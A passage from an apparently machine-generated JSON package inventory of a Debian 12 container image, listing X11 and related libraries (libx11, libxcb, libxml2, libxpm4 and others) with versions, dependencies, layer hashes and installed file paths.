"/usr/share/X11/locale/microsoft-cp1256/XI18N_OBJS", "/usr/share/X11/locale/microsoft-cp1256/XLC_LOCALE", "/usr/share/X11/locale/mulelao-1/Compose", "/usr/share/X11/locale/mulelao-1/XI18N_OBJS", "/usr/share/X11/locale/mulelao-1/XLC_LOCALE", "/usr/share/X11/locale/nokhchi-1/Compose", "/usr/share/X11/locale/nokhchi-1/XI18N_OBJS", "/usr/share/X11/locale/nokhchi-1/XLC_LOCALE", "/usr/share/X11/locale/pt_BR.UTF-8/Compose", "/usr/share/X11/locale/pt_BR.UTF-8/XI18N_OBJS", "/usr/share/X11/locale/pt_BR.UTF-8/XLC_LOCALE", "/usr/share/X11/locale/pt_PT.UTF-8/Compose", "/usr/share/X11/locale/pt_PT.UTF-8/XI18N_OBJS", "/usr/share/X11/locale/pt_PT.UTF-8/XLC_LOCALE", "/usr/share/X11/locale/ru_RU.UTF-8/Compose", "/usr/share/X11/locale/ru_RU.UTF-8/XI18N_OBJS", "/usr/share/X11/locale/ru_RU.UTF-8/XLC_LOCALE", "/usr/share/X11/locale/sr_RS.UTF-8/Compose", "/usr/share/X11/locale/sr_RS.UTF-8/XI18N_OBJS", "/usr/share/X11/locale/sr_RS.UTF-8/XLC_LOCALE", "/usr/share/X11/locale/tatar-cyr/Compose", "/usr/share/X11/locale/tatar-cyr/XI18N_OBJS", "/usr/share/X11/locale/tatar-cyr/XLC_LOCALE", "/usr/share/X11/locale/th_TH.UTF-8/Compose", "/usr/share/X11/locale/th_TH.UTF-8/XI18N_OBJS", "/usr/share/X11/locale/th_TH.UTF-8/XLC_LOCALE", "/usr/share/X11/locale/th_TH/Compose", "/usr/share/X11/locale/th_TH/XI18N_OBJS", "/usr/share/X11/locale/th_TH/XLC_LOCALE", "/usr/share/X11/locale/tscii-0/Compose", "/usr/share/X11/locale/tscii-0/XI18N_OBJS", "/usr/share/X11/locale/tscii-0/XLC_LOCALE", "/usr/share/X11/locale/vi_VN.tcvn/Compose", "/usr/share/X11/locale/vi_VN.tcvn/XI18N_OBJS", "/usr/share/X11/locale/vi_VN.tcvn/XLC_LOCALE", "/usr/share/X11/locale/vi_VN.viscii/Compose", "/usr/share/X11/locale/vi_VN.viscii/XI18N_OBJS", "/usr/share/X11/locale/vi_VN.viscii/XLC_LOCALE", "/usr/share/X11/locale/zh_CN.UTF-8/Compose", "/usr/share/X11/locale/zh_CN.UTF-8/XI18N_OBJS", "/usr/share/X11/locale/zh_CN.UTF-8/XLC_LOCALE", "/usr/share/X11/locale/zh_CN.gb18030/Compose", "/usr/share/X11/locale/zh_CN.gb18030/XI18N_OBJS", "/usr/share/X11/locale/zh_CN.gb18030/XLC_LOCALE", "/usr/share/X11/locale/zh_CN.gbk/Compose", "/usr/share/X11/locale/zh_CN.gbk/XI18N_OBJS", "/usr/share/X11/locale/zh_CN.gbk/XLC_LOCALE", "/usr/share/X11/locale/zh_CN/Compose", "/usr/share/X11/locale/zh_CN/XI18N_OBJS", "/usr/share/X11/locale/zh_CN/XLC_LOCALE", "/usr/share/X11/locale/zh_HK.UTF-8/Compose", "/usr/share/X11/locale/zh_HK.UTF-8/XI18N_OBJS", "/usr/share/X11/locale/zh_HK.UTF-8/XLC_LOCALE", "/usr/share/X11/locale/zh_HK.big5/Compose", "/usr/share/X11/locale/zh_HK.big5/XI18N_OBJS", "/usr/share/X11/locale/zh_HK.big5/XLC_LOCALE", "/usr/share/X11/locale/zh_HK.big5hkscs/Compose", "/usr/share/X11/locale/zh_HK.big5hkscs/XI18N_OBJS", "/usr/share/X11/locale/zh_HK.big5hkscs/XLC_LOCALE", "/usr/share/X11/locale/zh_TW.UTF-8/Compose", "/usr/share/X11/locale/zh_TW.UTF-8/XI18N_OBJS", "/usr/share/X11/locale/zh_TW.UTF-8/XLC_LOCALE", "/usr/share/X11/locale/zh_TW.big5/Compose", "/usr/share/X11/locale/zh_TW.big5/XI18N_OBJS", "/usr/share/X11/locale/zh_TW.big5/XLC_LOCALE", "/usr/share/X11/locale/zh_TW/Compose", "/usr/share/X11/locale/zh_TW/XI18N_OBJS", "/usr/share/X11/locale/zh_TW/XLC_LOCALE", "/usr/share/doc/libx11-data/changelog.Debian.gz", "/usr/share/doc/libx11-data/changelog.gz", "/usr/share/doc/libx11-data/copyright", "/usr/share/man/man5/Compose.5.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "libx11-xcb1@2:1.8.4-2+deb12u2", "Name": "libx11-xcb1", "Identifier": { "PURL": "pkg:deb/debian/libx11-xcb1@1.8.4-2%2Bdeb12u2?arch=amd64\u0026distro=debian-12.13\u0026epoch=2", "UID": "23557bc8226ebca5" }, "Version": "1.8.4", "Release": "2+deb12u2", "Epoch": 2, "Arch": "amd64", "SrcName": "libx11", "SrcVersion": "1.8.4", "SrcRelease": "2+deb12u2", "SrcEpoch": 2, "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libx11-6@2:1.8.4-2+deb12u2" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libX11-xcb.so.1.0.0", "/usr/share/doc/libx11-xcb1/changelog.Debian.gz", "/usr/share/doc/libx11-xcb1/changelog.gz", "/usr/share/doc/libx11-xcb1/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libxau6@1:1.0.9-1", "Name": "libxau6", "Identifier": { "PURL": "pkg:deb/debian/libxau6@1.0.9-1?arch=amd64\u0026distro=debian-12.13\u0026epoch=1", "UID": "958437d83bdb024a" }, "Version": "1.0.9", "Release": "1", "Epoch": 1, "Arch": "amd64", "SrcName": "libxau", "SrcVersion": "1.0.9", "SrcRelease": "1", "SrcEpoch": 1, "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libXau.so.6.0.0", "/usr/share/doc/libxau6/changelog.Debian.gz", "/usr/share/doc/libxau6/changelog.gz", "/usr/share/doc/libxau6/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libxaw7@2:1.0.14-1", "Name": "libxaw7", "Identifier": { "PURL": "pkg:deb/debian/libxaw7@1.0.14-1?arch=amd64\u0026distro=debian-12.13\u0026epoch=2", "UID": "36c2d8c7a8580cfc" }, "Version": "1.0.14", "Release": "1", "Epoch": 2, "Arch": "amd64", "SrcName": "libxaw", "SrcVersion": "1.0.14", "SrcRelease": "1", "SrcEpoch": 2, "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libx11-6@2:1.8.4-2+deb12u2", "libxext6@2:1.3.4-1+b1", "libxmu6@2:1.1.3-3", "libxpm4@1:3.5.12-1.1+deb12u1", "libxt6@1:1.2.1-1.1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libXaw7.so.7.0.0", "/usr/share/doc/libxaw7/changelog.Debian.gz", "/usr/share/doc/libxaw7/changelog.gz", "/usr/share/doc/libxaw7/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libxcb-dri2-0@1.15-1", "Name": "libxcb-dri2-0", "Identifier": { "PURL": "pkg:deb/debian/libxcb-dri2-0@1.15-1?arch=amd64\u0026distro=debian-12.13", "UID": "e0bafb55033cb37d" }, "Version": "1.15", "Release": "1", "Arch": "amd64", "SrcName": "libxcb", "SrcVersion": "1.15", "SrcRelease": "1", "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libxcb1@1.15-1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libxcb-dri2.so.0.0.0", "/usr/share/doc/libxcb-dri2-0/changelog.Debian.gz", "/usr/share/doc/libxcb-dri2-0/changelog.gz", "/usr/share/doc/libxcb-dri2-0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libxcb-dri3-0@1.15-1", "Name": "libxcb-dri3-0", "Identifier": { "PURL": "pkg:deb/debian/libxcb-dri3-0@1.15-1?arch=amd64\u0026distro=debian-12.13", "UID": "426f38e29bd4ed57" }, "Version": "1.15", "Release": "1", "Arch": "amd64", "SrcName": "libxcb", "SrcVersion": "1.15", "SrcRelease": "1", "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libxcb1@1.15-1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libxcb-dri3.so.0.1.0", "/usr/share/doc/libxcb-dri3-0/changelog.Debian.gz", "/usr/share/doc/libxcb-dri3-0/changelog.gz", "/usr/share/doc/libxcb-dri3-0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libxcb-glx0@1.15-1", "Name": "libxcb-glx0", "Identifier": { "PURL": "pkg:deb/debian/libxcb-glx0@1.15-1?arch=amd64\u0026distro=debian-12.13", "UID": "f87c7a2f15d0901d" }, "Version": "1.15", "Release": "1", "Arch": "amd64", "SrcName": "libxcb", "SrcVersion": "1.15", "SrcRelease": "1", "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libxcb1@1.15-1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libxcb-glx.so.0.0.0", "/usr/share/doc/libxcb-glx0/changelog.Debian.gz", "/usr/share/doc/libxcb-glx0/changelog.gz", "/usr/share/doc/libxcb-glx0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libxcb-present0@1.15-1", "Name": "libxcb-present0", "Identifier": { "PURL": "pkg:deb/debian/libxcb-present0@1.15-1?arch=amd64\u0026distro=debian-12.13", "UID": "cfb5f7173cea3706" }, "Version": "1.15", "Release": "1", "Arch": "amd64", "SrcName": "libxcb", "SrcVersion": "1.15", "SrcRelease": "1", "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libxcb1@1.15-1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libxcb-present.so.0.0.0", "/usr/share/doc/libxcb-present0/changelog.Debian.gz", "/usr/share/doc/libxcb-present0/changelog.gz", "/usr/share/doc/libxcb-present0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libxcb-randr0@1.15-1", "Name": "libxcb-randr0", "Identifier": { "PURL": "pkg:deb/debian/libxcb-randr0@1.15-1?arch=amd64\u0026distro=debian-12.13", "UID": "3d1cb6653b6c1c0c" }, "Version": "1.15", "Release": "1", "Arch": "amd64", "SrcName": "libxcb", "SrcVersion": "1.15", "SrcRelease": "1", "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libxcb1@1.15-1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libxcb-randr.so.0.1.0", "/usr/share/doc/libxcb-randr0/changelog.Debian.gz", "/usr/share/doc/libxcb-randr0/changelog.gz", "/usr/share/doc/libxcb-randr0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libxcb-render0@1.15-1", "Name": "libxcb-render0", "Identifier": { "PURL": "pkg:deb/debian/libxcb-render0@1.15-1?arch=amd64\u0026distro=debian-12.13", "UID": "381b5575421083d6" }, "Version": "1.15", "Release": "1", "Arch": "amd64", "SrcName": "libxcb", "SrcVersion": "1.15", "SrcRelease": "1", "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libxcb1@1.15-1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libxcb-render.so.0.0.0", "/usr/share/doc/libxcb-render0/changelog.Debian.gz", "/usr/share/doc/libxcb-render0/changelog.gz", "/usr/share/doc/libxcb-render0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libxcb-shm0@1.15-1", "Name": "libxcb-shm0", "Identifier": { "PURL": "pkg:deb/debian/libxcb-shm0@1.15-1?arch=amd64\u0026distro=debian-12.13", "UID": "1ad074d11ba6c42" }, "Version": "1.15", "Release": "1", "Arch": "amd64", "SrcName": "libxcb", "SrcVersion": "1.15", "SrcRelease": "1", "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libxcb1@1.15-1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libxcb-shm.so.0.0.0", "/usr/share/doc/libxcb-shm0/changelog.Debian.gz", "/usr/share/doc/libxcb-shm0/changelog.gz", "/usr/share/doc/libxcb-shm0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libxcb-sync1@1.15-1", "Name": "libxcb-sync1", "Identifier": { "PURL": "pkg:deb/debian/libxcb-sync1@1.15-1?arch=amd64\u0026distro=debian-12.13", "UID": "ab08c1c154f81156" }, "Version": "1.15", "Release": "1", "Arch": "amd64", "SrcName": "libxcb", "SrcVersion": "1.15", "SrcRelease": "1", "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libxcb1@1.15-1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libxcb-sync.so.1.0.0", "/usr/share/doc/libxcb-sync1/changelog.Debian.gz", "/usr/share/doc/libxcb-sync1/changelog.gz", "/usr/share/doc/libxcb-sync1/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libxcb-xfixes0@1.15-1", "Name": "libxcb-xfixes0", "Identifier": { "PURL": "pkg:deb/debian/libxcb-xfixes0@1.15-1?arch=amd64\u0026distro=debian-12.13", "UID": "2a5f2ebb07a924f0" }, "Version": "1.15", "Release": "1", "Arch": "amd64", "SrcName": "libxcb", "SrcVersion": "1.15", "SrcRelease": "1", "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libxcb1@1.15-1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libxcb-xfixes.so.0.0.0", "/usr/share/doc/libxcb-xfixes0/changelog.Debian.gz", "/usr/share/doc/libxcb-xfixes0/changelog.gz", "/usr/share/doc/libxcb-xfixes0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libxcb1@1.15-1", "Name": "libxcb1", "Identifier": { "PURL": "pkg:deb/debian/libxcb1@1.15-1?arch=amd64\u0026distro=debian-12.13", "UID": "e27a41c209de4229" }, "Version": "1.15", "Release": "1", "Arch": "amd64", "SrcName": "libxcb", "SrcVersion": "1.15", "SrcRelease": "1", "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libxau6@1:1.0.9-1", "libxdmcp6@1:1.1.2-3" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libxcb.so.1.1.0", "/usr/share/doc/libxcb1/changelog.Debian.gz", "/usr/share/doc/libxcb1/changelog.gz", "/usr/share/doc/libxcb1/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libxcomposite1@1:0.4.5-1", "Name": "libxcomposite1", "Identifier": { "PURL": "pkg:deb/debian/libxcomposite1@0.4.5-1?arch=amd64\u0026distro=debian-12.13\u0026epoch=1", "UID": "a934faffba3dd677" }, "Version": "0.4.5", "Release": "1", "Epoch": 1, "Arch": "amd64", "SrcName": "libxcomposite", "SrcVersion": "0.4.5", "SrcRelease": "1", "SrcEpoch": 1, "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libx11-6@2:1.8.4-2+deb12u2" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libXcomposite.so.1.0.0", "/usr/share/doc/libxcomposite1/changelog.Debian.gz", "/usr/share/doc/libxcomposite1/changelog.gz", "/usr/share/doc/libxcomposite1/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libxdamage1@1:1.1.6-1", "Name": "libxdamage1", "Identifier": { "PURL": "pkg:deb/debian/libxdamage1@1.1.6-1?arch=amd64\u0026distro=debian-12.13\u0026epoch=1", "UID": "82ee4304f4eda127" }, "Version": "1.1.6", "Release": "1", "Epoch": 1, "Arch": "amd64", "SrcName": "libxdamage", "SrcVersion": "1.1.6", "SrcRelease": "1", "SrcEpoch": 1, "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libx11-6@2:1.8.4-2+deb12u2" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libXdamage.so.1.1.0", "/usr/share/doc/libxdamage1/changelog.Debian.gz", "/usr/share/doc/libxdamage1/changelog.gz", "/usr/share/doc/libxdamage1/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libxdmcp6@1:1.1.2-3", "Name": "libxdmcp6", "Identifier": { "PURL": "pkg:deb/debian/libxdmcp6@1.1.2-3?arch=amd64\u0026distro=debian-12.13\u0026epoch=1", "UID": "734d51fdd98c10c5" }, "Version": "1.1.2", "Release": "3", "Epoch": 1, "Arch": "amd64", "SrcName": "libxdmcp", "SrcVersion": "1.1.2", "SrcRelease": "3", "SrcEpoch": 1, "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libbsd0@0.11.7-2", "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libXdmcp.so.6.0.0", "/usr/share/doc/libxdmcp6/changelog.Debian.gz", "/usr/share/doc/libxdmcp6/changelog.gz", "/usr/share/doc/libxdmcp6/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libxext6@2:1.3.4-1+b1", "Name": "libxext6", "Identifier": { "PURL": "pkg:deb/debian/libxext6@1.3.4-1%2Bb1?arch=amd64\u0026distro=debian-12.13\u0026epoch=2", "UID": "6ecb848554cc3322" }, "Version": "1.3.4", "Release": "1+b1", "Epoch": 2, "Arch": "amd64", "SrcName": "libxext", "SrcVersion": "1.3.4", "SrcRelease": "1", "SrcEpoch": 2, "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libx11-6@2:1.8.4-2+deb12u2" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libXext.so.6.4.0", "/usr/share/doc/libxext6/changelog.Debian.amd64.gz", "/usr/share/doc/libxext6/changelog.Debian.gz", "/usr/share/doc/libxext6/changelog.gz", "/usr/share/doc/libxext6/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libxfixes3@1:6.0.0-2", "Name": "libxfixes3", "Identifier": { "PURL": "pkg:deb/debian/libxfixes3@6.0.0-2?arch=amd64\u0026distro=debian-12.13\u0026epoch=1", "UID": "e41d16e85a5e2c61" }, "Version": "6.0.0", "Release": "2", "Epoch": 1, "Arch": "amd64", "SrcName": "libxfixes", "SrcVersion": "6.0.0", "SrcRelease": "2", "SrcEpoch": 1, "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libx11-6@2:1.8.4-2+deb12u2" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libXfixes.so.3.1.0", "/usr/share/doc/libxfixes3/changelog.Debian.gz", "/usr/share/doc/libxfixes3/changelog.gz", "/usr/share/doc/libxfixes3/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libxfont2@1:2.0.6-1", "Name": "libxfont2", "Identifier": { "PURL": "pkg:deb/debian/libxfont2@2.0.6-1?arch=amd64\u0026distro=debian-12.13\u0026epoch=1", "UID": "7ffc137623b397ff" }, "Version": "2.0.6", "Release": "1", "Epoch": 1, "Arch": "amd64", "SrcName": "libxfont", "SrcVersion": "2.0.6", "SrcRelease": "1", "SrcEpoch": 1, "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libbz2-1.0@1.0.8-5+b1", "libc6@2.36-9+deb12u13", "libfontenc1@1:1.1.4-1", "libfreetype6@2.12.1+dfsg-5+deb12u4", "zlib1g@1:1.2.13.dfsg-1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libXfont2.so.2.0.0", "/usr/share/doc/libxfont2/changelog.Debian.gz", "/usr/share/doc/libxfont2/changelog.gz", "/usr/share/doc/libxfont2/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libxi6@2:1.8-1+b1", "Name": "libxi6", "Identifier": { "PURL": "pkg:deb/debian/libxi6@1.8-1%2Bb1?arch=amd64\u0026distro=debian-12.13\u0026epoch=2", "UID": "313c9a24a13b6704" }, "Version": "1.8", "Release": "1+b1", "Epoch": 2, "Arch": "amd64", "SrcName": "libxi", "SrcVersion": "1.8", "SrcRelease": "1", "SrcEpoch": 2, "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libx11-6@2:1.8.4-2+deb12u2", "libxext6@2:1.3.4-1+b1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libXi.so.6.1.0", "/usr/share/doc/libxi6/changelog.Debian.amd64.gz", "/usr/share/doc/libxi6/changelog.Debian.gz", "/usr/share/doc/libxi6/changelog.gz", "/usr/share/doc/libxi6/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libxkbcommon0@1.5.0-1", "Name": "libxkbcommon0", "Identifier": { "PURL": "pkg:deb/debian/libxkbcommon0@1.5.0-1?arch=amd64\u0026distro=debian-12.13", "UID": "b27ce46256ca5853" }, "Version": "1.5.0", "Release": "1", "Arch": "amd64", "SrcName": "libxkbcommon", "SrcVersion": "1.5.0", "SrcRelease": "1", "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "xkb-data@2.35.1-1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libxkbcommon.so.0.0.0", "/usr/share/doc/libxkbcommon0/changelog.Debian.gz", "/usr/share/doc/libxkbcommon0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libxkbfile1@1:1.1.0-1", "Name": "libxkbfile1", "Identifier": { "PURL": "pkg:deb/debian/libxkbfile1@1.1.0-1?arch=amd64\u0026distro=debian-12.13\u0026epoch=1", "UID": "262624ad6701c434" }, "Version": "1.1.0", "Release": "1", "Epoch": 1, "Arch": "amd64", "SrcName": "libxkbfile", "SrcVersion": "1.1.0", "SrcRelease": "1", "SrcEpoch": 1, "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libx11-6@2:1.8.4-2+deb12u2" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libxkbfile.so.1.0.2", "/usr/share/doc/libxkbfile1/changelog.Debian.gz", "/usr/share/doc/libxkbfile1/changelog.gz", "/usr/share/doc/libxkbfile1/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libxml2@2.9.14+dfsg-1.3~deb12u5", "Name": "libxml2", "Identifier": { "PURL": "pkg:deb/debian/libxml2@2.9.14%2Bdfsg-1.3~deb12u5?arch=amd64\u0026distro=debian-12.13", "UID": "3e7015dac034276d" }, "Version": "2.9.14+dfsg", "Release": "1.3~deb12u5", "Arch": "amd64", "SrcName": "libxml2", "SrcVersion": "2.9.14+dfsg", "SrcRelease": "1.3~deb12u5", "Licenses": [ "MIT-1", "ISC" ], "Maintainer": "Debian XML/SGML Group \u003cdebian-xml-sgml-pkgs@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libicu72@72.1-3+deb12u1", "liblzma5@5.4.1-1", "zlib1g@1:1.2.13.dfsg-1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libxml2.so.2.9.14", "/usr/share/doc/libxml2/README.Debian", "/usr/share/doc/libxml2/README.md", "/usr/share/doc/libxml2/changelog.Debian.gz", "/usr/share/doc/libxml2/changelog.gz", "/usr/share/doc/libxml2/copyright", "/usr/share/lintian/overrides/libxml2" ], "AnalyzedBy": "dpkg" }, { "ID": "libxmu6@2:1.1.3-3", "Name": "libxmu6", "Identifier": { "PURL": "pkg:deb/debian/libxmu6@1.1.3-3?arch=amd64\u0026distro=debian-12.13\u0026epoch=2", "UID": "8577108d38eb67aa" }, "Version": "1.1.3", "Release": "3", "Epoch": 2, "Arch": "amd64", "SrcName": "libxmu", "SrcVersion": "1.1.3", "SrcRelease": "3", "SrcEpoch": 2, "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libx11-6@2:1.8.4-2+deb12u2", "libxext6@2:1.3.4-1+b1", "libxt6@1:1.2.1-1.1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libXmu.so.6.2.0", "/usr/share/doc/libxmu6/changelog.Debian.gz", "/usr/share/doc/libxmu6/changelog.gz", "/usr/share/doc/libxmu6/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libxpm4@1:3.5.12-1.1+deb12u1", "Name": "libxpm4", "Identifier": { "PURL": "pkg:deb/debian/libxpm4@3.5.12-1.1%2Bdeb12u1?arch=amd64\u0026distro=debian-12.13\u0026epoch=1", "UID": "c25fe2e1ef4b833f" }, "Version": "3.5.12", "Release": "1.1+deb12u1", "Epoch": 1, "Arch": "amd64", "SrcName": "libxpm", "SrcVersion": "3.5.12", "SrcRelease": "1.1+deb12u1", "SrcEpoch": 1, "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libx11-6@2:1.8.4-2+deb12u2" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libXpm.so.4.11.0", "/usr/share/doc/libxpm4/changelog.Debian.gz", "/usr/share/doc/libxpm4/changelog.gz", "/usr/share/doc/libxpm4/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": 